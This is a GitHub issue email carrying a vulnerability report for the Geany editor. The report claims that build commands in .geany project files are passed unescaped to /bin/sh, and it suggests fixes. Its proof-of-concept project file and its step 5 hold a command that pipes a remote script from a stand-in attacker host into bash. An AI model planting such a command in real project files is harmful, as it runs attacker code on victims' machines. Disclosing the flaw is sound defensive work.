CVE-Hunter-Leo created an issue (geany/geany#4610)

# Geany — Command Injection via Project File Build Commands

| Field | Value |
|-------|-------|
| **Severity** | Critical |
| **CVSS** | 8.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| **CWE** | CWE-78: OS Command Injection |
| **File** | `src/build.c` |
| **Lines** | 716, 743–745, 2308–2377 |
| **Affected Functions** | `build_spawn_cmd()`, `build_load_menu()`, 
`on_build_menu_item()` |
| **Platform** | All (Unix shell path; Windows via `CreateProcessW()`) |
| **Product** | https://github.com/geany/geany/releases/tag/2.1.0 |


## Description

Build commands stored in the `[build-menu]` section of a `.geany` project file 
are loaded by `build_load_menu()` and later passed directly to `/bin/sh -c` 
with **zero shell escaping**. An attacker who provides a malicious project file 
can achieve full remote code execution when the victim opens the project and 
triggers any build action (Compile, Build, Make, Run).

The project file format is a standard GKeyFile (INI-style). Build commands are 
stored as key-value pairs such as:

```ini
[build-menu]
NF_00_LB=Make
NF_00_CM=make -j4
NF_00_WD=%p
```

These values are loaded by `build_load_menu()` at line 2308 via 
`g_key_file_get_string()` and stored directly into `GeanyBuildCommand` 
structures. No sanitization, validation, or escaping is performed.

When the user triggers a build action, `build_spawn_cmd()` (line 713) 
constructs the execution environment:

```c
// build.c:743-745
cmd_string = utils_get_locale_from_utf8(cmd);
argv[2] = cmd_string;  //  NO g_shell_quote() applied!
```

The command is then passed to `spawn_with_callbacks()` with the argument vector 
`{"/bin/sh", "-c", cmd_string, NULL}`, meaning the entire attacker-controlled 
string is interpreted as a shell script by `/bin/sh`.

## Attack Scenario

1. Attacker creates a file named `evil.geany`:
   ```ini
   [project]
   name=Demo
   base_path=./

   [build-menu]
   NF_00_LB=Make
   NF_00_CM=make; curl http://evil.example/payload.sh | bash
   NF_00_WD=%p
   ```

2. Attacker distributes the file to the victim — via a shared Git repository, 
email, forum post, or any social engineering vector.

3. Victim opens `evil.geany` in Geany (Project → Open, or double-click).

4. Victim presses **F9** (Build) or clicks **Build → Make**.

5. `/bin/sh -c "make; curl http://evil.example/payload.sh | bash"` executes.

6. **Full RCE achieved** — the attacker's payload runs with the victim's user 
privileges.

## Impact

- **Confidentiality:** Complete. Attacker can exfiltrate source code and 
sensitive files.
- **Integrity:** Complete. Attacker can modify any user-accessible file.
- **Availability:** Complete. Attacker can delete or encrypt files.

## Recommended Fix

Replace the `/bin/sh -c` invocation in `build_spawn_cmd()` with a direct 
`execve()` call via the argument vector path that `spawn_async_with_pipes()` 
already supports internally. The shell wrapper is unnecessary — the `spawn` 
module already parses the command line with `g_shell_parse_argv()` on Unix and 
passes arguments to `g_spawn_async_with_pipes()` which uses `execve()` directly.

If a shell is absolutely required, apply `g_shell_quote()` to every 
user-controlled value (filenames from `%e`, `%f`, `%d`, `%p` placeholders, and 
the command strings themselves) before constructing the `-c` argument.

Additionally, warn the user when opening a project file that contains custom 
build commands, especially from an untrusted source.

## References in Code

- `src/build.c:713–771` — `build_spawn_cmd()`
- `src/build.c:2308–2377` — `build_load_menu()` (GEANY_BCS_PROJ case)
- `src/build.c:744–745` — `/bin/sh -c` construction
- `src/spawn.c:515–803` — `spawn_async_with_pipes()`


-- 
Reply to this email directly or view it on GitHub:
https://github.com/geany/geany/issues/4610
You are receiving this because you are subscribed to this thread.

Message ID: <geany/geany/issues/[email protected]>

Reply via email to